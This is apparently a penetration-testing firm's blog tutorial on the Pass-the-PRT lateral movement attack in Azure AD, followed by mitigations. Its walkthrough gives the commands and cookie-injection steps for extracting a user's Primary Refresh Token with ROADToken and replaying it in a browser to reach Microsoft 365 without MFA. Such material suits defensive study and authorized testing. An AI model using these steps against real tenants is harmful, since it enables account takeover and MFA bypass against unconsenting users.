Lateral Movement to Cloud: Pass-the-PRT Attack

Introduction

In this post, we’ll dive into Pass-the-PRT attack in azure environment, a powerful lateral movement method to impersonate users and move to cloud from on-premises. From extracting the token to injecting it into a browser session, we’ll walk through each step of the attack chain.

Gaining a foothold in an on-prem environment is just the beginning. When Active Directory extends into the cloud, we look for ways to move laterally – not just across on-premise machines, but into Azure and Microsoft 365 resources. One highly effective technique leverages the Primary Refresh Token (PRT) to pivot into cloud services without triggering MFA or needing clear-text credentials.

What is a PRT?

A Primary Refresh Token (PRT) is a device-bound authentication token issued by Azure Active Directory (Azure AD) when a user logs in to an Azure AD-joined, hybrid-joined, or registered Windows 10/11 device. It enables seamless Single Sign-On (SSO) to Microsoft 365 and other cloud apps.

  • It resides in memory, is protected via DPAPI, and is used to request access tokens via SSO.
  • It’s bound to the device and user context.

PRT Work-Flow

Video Walkthrough – Draft section

Attack Requirements

Attack Walkthrough

1. Confirm Azure AD Join

Use the following command to confirm the device is Azure AD-joined or Hybrid-joined, and SSO is enabled (PRT will be present if so):

Check output under:

  • AzureAdJoined: YES
  • AzureAdPRT: YES
dsregcmd.exe /status

2. Request Nonce Challenge from Azure AD

Use PowerShell to send a challenge request and receive a nonce from Microsoft’s identity endpoint: Replace <TenantId> with the Azure AD tenant ID.

In cryptography, a nonce is an arbitrary number that can be used just once in a cryptographic communication. It is often a random or pseudo-random number issued in an authentication protocol to ensure that each communication session is unique, and therefore that old communications cannot be reused in replay attacks. – Wikipedia

$URL = "https://login.microsoftonline.com/<tenant-id>/oauth2/token"
$Params = @{
    URI    = $URL
    Method = "POST"
    }
$Body = @{
    grant_type = "srv_challenge"
	}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce

3. Run ROADToken with Nonce

Use the ROADToken.exe tool to generate a new token using the nonce obtained: This extracts the Primary Refresh Token (PRT)

ROADToken.exe <Nonce>

4. Import PRT into Browser

Use Firefox, Chrome or Edge Browser to inject the token for Pass-the-PRT attack using cookie editor extension:

  • Open Your Browser (Chrome / Firefox)
    Launch your browser and install Cookie-Editor if not already installed.
  • Go to: https://login.microsoftonline.com
  • Open Cookie-Editor Extension
    Click the Cookie-Editor icon in your browser toolbar.
  • Add a New Cookie
    Click the + (plus icon) to add a new cookie.
  • Fill in the Cookie Fields as Follows:
    • Name: x-ms-RefreshTokenCredential
    • Value: (Paste the refresh token you obtained from ROADToken)
    • Domain: login.microsoftonline.com
    • Path: /
  • Set the Flags:
    • HttpOnly
    • Secure
  • Click Save
    The cookie should now be visible in your list under the domain.
  • Refresh the Page
    Now go to https://portal.azure.com or another Microsoft service.

Refresh the browser and access Microsoft 365, Azure Portal, etc. You’ll be logged in as the user, with no MFA prompt required.

Post Exploitation – Azure Portal Access

Post Exploitation – Storage Account Enumeration

Conclusion

The Pass-the-PRT attack highlights the growing risks of hybrid identity environments where on-premises compromise can directly lead to cloud account takeover. By abusing the Primary Refresh Token (PRT), attackers can silently access Microsoft 365, Azure Portal, and other services – bypassing MFA and avoiding detection.

Organizations must recognize that securing cloud identities requires more than enforcing MFA and strong passwords. It involves hardening endpoints, monitoring token usage, restricting local admin rights, and ensuring SSO and PRT handling are not left exposed.

Want to do a cloud security assessment?
Explore our cloud penetration testing methodology: Cloud Methodology

Detections & Mitigations

Enable Conditional Access
Require compliant or hybrid-joined devices; enforce MFA and location-based restrictions.

Use Continuous Access Evaluation (CAE)
Ensures tokens are invalidated quickly after events like user disable or password reset.

Monitor for Anomalous Token Use
Track refresh token activity from unknown devices, IPs, or locations in Azure AD logs.

Restrict PRT Issuance to Trusted Devices
Use Intune or compliance policies to block PRTs on unmanaged or risky endpoints.

Attributions and References

Share the Post:

Table of Contents

Subscribe To Our Blog

Light